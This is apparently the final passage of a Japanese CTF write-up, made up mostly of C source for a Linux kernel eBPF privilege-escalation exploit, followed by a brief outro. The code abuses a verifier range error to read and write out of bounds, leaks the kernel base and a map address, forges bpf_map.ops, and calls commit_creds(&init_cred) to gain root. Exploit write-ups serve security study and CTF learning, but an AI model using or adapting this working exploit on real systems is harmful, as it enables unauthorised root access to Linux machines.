309    "add rsp, 0x20\n"
310    "pop rbx\n"
311    "pop r12\n"
312    "pop r13\n"
313    "pop r14\n"
314    "pop r15\n"
315    "pop rbp\n"
316    "ret\n"
317  );
318}
319// (END utils)
320
321ulong read_rel(int N)
322{
323  struct bpf_insn reader_insns[] = {
324    /* get cmap[0] */
325    BPF_LD_MAP_FD(BPF_REG_1, control_map),              // r1 = cmap
326    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),               // r2 = rbp
327    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),            // r2 -= 8
328    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),                // qword[r2] = 0
329    BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
330    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),            // r0 = map_lookup_elem(cmap, 0)
331    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),              // jmp if r0!=0
332    BPF_EXIT_INSN(),
333    BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),       // r6 = cmap[0] (==0)
334    BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),                // r9 = &cmap[0]
335    BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),                // r8 = &cmap[0]
336    /* get cmap[1] */
337    BPF_LD_MAP_FD(BPF_REG_1, control_map),              // r1 = cmap
338    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),               // r2 = rbp
339    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),            // r2 -= 8
340    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 1),                // qword[r2] = 1
341    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),            // r0 = map_lookup_elem(cmap, 1)
342    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),              // jmp if r0!=0
343    BPF_EXIT_INSN(),
344    BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),       // r7 = cmap[1] (==1)
345    /* fix r6/r7 range */
346    BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 0, 2),              // ensure R6>=0
347    BPF_MOV64_IMM(BPF_REG_0, 0),
348    BPF_EXIT_INSN(),
349    BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 2, 1),              // ensure 0<=R6<=1
350    BPF_JMP_IMM(BPF_JA, 0, 0, 2),
351    BPF_MOV64_IMM(BPF_REG_0, 0),
352    BPF_EXIT_INSN(),
353    BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 0, 2),              // ensure R7>=0
354    BPF_MOV64_IMM(BPF_REG_0, 0),
355    BPF_EXIT_INSN(),
356    BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 2, 1),              // ensure 0<=R7<=1
357    BPF_JMP_IMM(BPF_JA, 0, 0, 2),
358    BPF_MOV64_IMM(BPF_REG_0, 0),
359    BPF_EXIT_INSN(),
360    // exploit r6 range
361    BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_7),       // r6 >>= r7 (r6 regarded as 0, actually 1)
362    BPF_ALU64_IMM(BPF_NEG, BPF_REG_6, 0),               // r6 *= -1
363    BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, N),               // r6 *= N
364
365    // load it malciously
366    BPF_ALU64_REG(BPF_ADD, BPF_REG_9, BPF_REG_6),       // r9 += r6 (r9 = &cmap[0] + N)
367    BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_9, 0),       // r3 = qword [r9] (r3 = [&cmap[0] + N])
368    BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_3, 0),       // [r8] = r3 (cmap[0] = r9)
369    // Go Home
370    BPF_MOV64_IMM(BPF_REG_0, 0),                        // r0 = 0
371    BPF_EXIT_INSN()
372  };
373
374  reader = create_filtered_socket_fd(reader_insns, ARRSIZE(reader_insns));
375  if(reader < 0){
376    errExit("reader not initialized");
377  }
378  array_update(control_map, 0, 1);
379  array_update(control_map, 1, 0);
380  trigger_proc(reader);
381  const ulong tmp = get_ulong(control_map, 0);
382  return tmp;
383}
384
385ulong leak_controlmap(void)
386{
387  struct bpf_insn reader_insns[] = {
388    /* get cmap[0] */
389    BPF_LD_MAP_FD(BPF_REG_1, control_map),              // r1 = cmap
390    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),               // r2 = rbp
391    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),            // r2 -= 8
392    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),                // qword[r2] = 0
393    BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
394    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),            // r0 = map_lookup_elem(cmap, 0)
395    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),              // jmp if r0!=0
396    BPF_EXIT_INSN(),
397    BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),       // r6 = cmap[0] (==0)
398    BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),                // r9 = &cmap[0]
399    BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),                // r8 = &cmap[0]
400
401    BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_8, 0),       // [r8] = r3 (cmap[0] = r9)
402    // Go Home
403    BPF_MOV64_IMM(BPF_REG_0, 0),                        // r0 = 0
404    BPF_EXIT_INSN()
405  };
406
407  int tmp_reader = create_filtered_socket_fd(reader_insns, ARRSIZE(reader_insns));
408  if(tmp_reader < 0){
409    errExit("tmp_reader not initialized");
410  }
411  trigger_proc(tmp_reader);
412  const ulong tmp = get_ulong(control_map, 0);
413  return tmp;
414}
415
416void ops_NIRUGIRI(ulong controlmap_addr, ulong kernbase)
417{
418  const ulong fakeops_addr = controlmap_addr + 0x10;
419  const ulong init_cred = kernbase + 0xE43E60;
420  const ulong commit_creds = kernbase + 0x081E70;
421  const uint N = 0x90;
422  const uint zero = 0;
423  printf("[.] init_cred: 0x%lx\n", (((init_cred>>32) & 0xFFFFFFFFUL)<<32) + (init_cred & 0xFFFFFFFFUL));
424
425  struct bpf_insn writer_insns[] = {
426    /* get cmap[0] */
427    BPF_LD_MAP_FD(BPF_REG_1, control_map),              // r1 = cmap
428    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),               // r2 = rbp
429    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),            // r2 -= 8
430    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),                // qword[r2] = 0
431    BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
432    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),            // r0 = map_lookup_elem(cmap, 0)
433    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),              // jmp if r0!=0
434    BPF_EXIT_INSN(),
435    BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),       // r6 = cmap[0] (==0)
436    BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),                // r9 = &cmap[0]
437    BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),                // r8 = &cmap[0]
438    /* get cmap[1] */
439    BPF_LD_MAP_FD(BPF_REG_1, control_map),              // r1 = cmap
440    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),               // r2 = rbp
441    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),            // r2 -= 8
442    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 1),                // qword[r2] = 1
443    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),            // r0 = map_lookup_elem(cmap, 1)
444    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),              // jmp if r0!=0
445    BPF_EXIT_INSN(),
446    BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),       // r7 = cmap[1] (==1)
447    /* fix r6/r7 range */
448    BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 0, 2),              // ensure R6>=0
449    BPF_MOV64_IMM(BPF_REG_0, 0),
450    BPF_EXIT_INSN(),
451    BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 2, 1),              // ensure 0<=R6<=1
452    BPF_JMP_IMM(BPF_JA, 0, 0, 2),
453    BPF_MOV64_IMM(BPF_REG_0, 0),
454    BPF_EXIT_INSN(),
455    BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 0, 2),              // ensure R7>=0
456    BPF_MOV64_IMM(BPF_REG_0, 0),
457    BPF_EXIT_INSN(),
458    BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 2, 1),              // ensure 0<=R7<=1
459    BPF_JMP_IMM(BPF_JA, 0, 0, 2),
460    BPF_MOV64_IMM(BPF_REG_0, 0),
461    BPF_EXIT_INSN(),
462    // exploit r6 range
463    BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_7),       // r6 >>= r7 (r6 regarded as 0, actually 1)
464    BPF_ALU64_IMM(BPF_NEG, BPF_REG_6, 0),               // r6 *= -1
465    // overwrite ops into forged ops
466    BPF_MOV64_IMM(BPF_REG_1, (fakeops_addr>>32) & 0xFFFFFFFFUL),
467    BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
468    BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, fakeops_addr & 0xFFFFFFFFUL),
469    BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, N),
470    BPF_ALU64_REG(BPF_ADD, BPF_REG_8, BPF_REG_6),       // r8 += r6
471    BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_1, 0),
472    // forge ptrs[0] with &init_cred
473    BPF_MOV64_IMM(BPF_REG_2, 0),
474    BPF_MOV64_IMM(BPF_REG_3, init_cred & 0xFFFFFFFFUL),
475    BPF_ALU64_IMM(BPF_LSH, BPF_REG_3, 32),
476    BPF_ALU64_IMM(BPF_ARSH, BPF_REG_3, 32),
477    BPF_ALU64_REG(BPF_ADD, BPF_REG_2, BPF_REG_3),
478    BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_2, 0),
479
480    // Go Home
481    BPF_MOV64_IMM(BPF_REG_0, 0),                        // r0 = 0
482    BPF_EXIT_INSN()
483  };
484
485  int evilwriter= create_filtered_socket_fd(writer_insns, ARRSIZE(writer_insns));
486  if(evilwriter < 0){
487    errExit("reader not initialized");
488  }
489
490  // setup fake table
491  for(int ix=0; ix!=10; ++ix){
492    array_update(control_map, ix+2, commit_creds);
493  }
494  array_update(control_map, 6, kernbase + 0x12B730);  // fd_array_map_delete_elem
495
496  // overwrite bpf_map.ops
497  array_update(control_map, 0, 1);
498  array_update(control_map, 1, 0);
499  trigger_proc(evilwriter);
500
501  // NIRUGIRI
502  union bpf_attr lookup_map_attrs = {
503    .map_fd = control_map,
504    .key = (uint64_t)&zero,
505  };
506  bpf_(BPF_MAP_LOOKUP_ELEM, &lookup_map_attrs);
507  NIRUGIRI();
508  printf("[-] press ENTER to die\n");
509  WAIT;
510}
511
512int main(int argc, char *argv[]) {
513  control_map = array_create(0x8, 0x10); // [0] always 1, [1] always 0
514
515  // leak kernbase
516  const ulong kernbase = read_rel(0x90) - 0xA12100;
517  printf("[+] kernbase: 0x%lx\n", kernbase);
518
519  // leak controlmap's addr
520  const ulong controlmap_addr = leak_controlmap();
521  printf("[+] controlmap: 0x%lx\n", controlmap_addr);
522
523  // forge bpf_map.ops and do commit_creds(&init_cred)
524  ops_NIRUGIRI(controlmap_addr, kernbase);
525
526  return 0; // unreachable
527}

アウトロ Link to this heading

最初は権限ゆるすぎてどうなんだろうと思ってたけど、bpf_map.btfなしで ROOT 取る流れを考えるのは楽しかったです。 もうすぐ春ですね。海を見に行きたいです。

参考 Link to this heading